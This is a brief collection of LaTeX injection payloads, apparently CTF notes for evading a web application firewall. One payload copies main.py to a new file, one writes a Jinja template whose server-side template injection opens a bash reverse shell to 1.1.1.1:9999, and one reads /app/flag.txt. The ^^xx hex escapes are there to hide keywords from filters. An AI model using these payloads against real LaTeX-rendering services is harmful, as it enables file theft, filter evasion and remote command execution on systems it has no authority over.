some latex payload if there’s a waf
\documentclass[]{article}
\begin{document}
\newread\infile
\openin\infile=main.py
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
\imm^^65diate\read\infile to\line
\imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}
\documentclass[]{article}
\begin{document}
\newwrite\t
\openout\t=templates^^2flog.html
\write\t{{{lipsum.__globals__['os'].popen('bash -c "^^2fbin^^2fsh -i >& ^^2fdev^^2ftcp^^2f1.1.1.1^^2f9999 0>&1"').read()}}}
\closeout\t
\newpage
foo
\end{document}
\ExplSyntaxOn
\g_tmpa_ior
\ior_open:Nn
\l_tmpa_str
\g_tmpa_ior
{/app/flag.txt}
{\pdfescapestring{\l_tmpa_str}}
\ExplSyntaxOff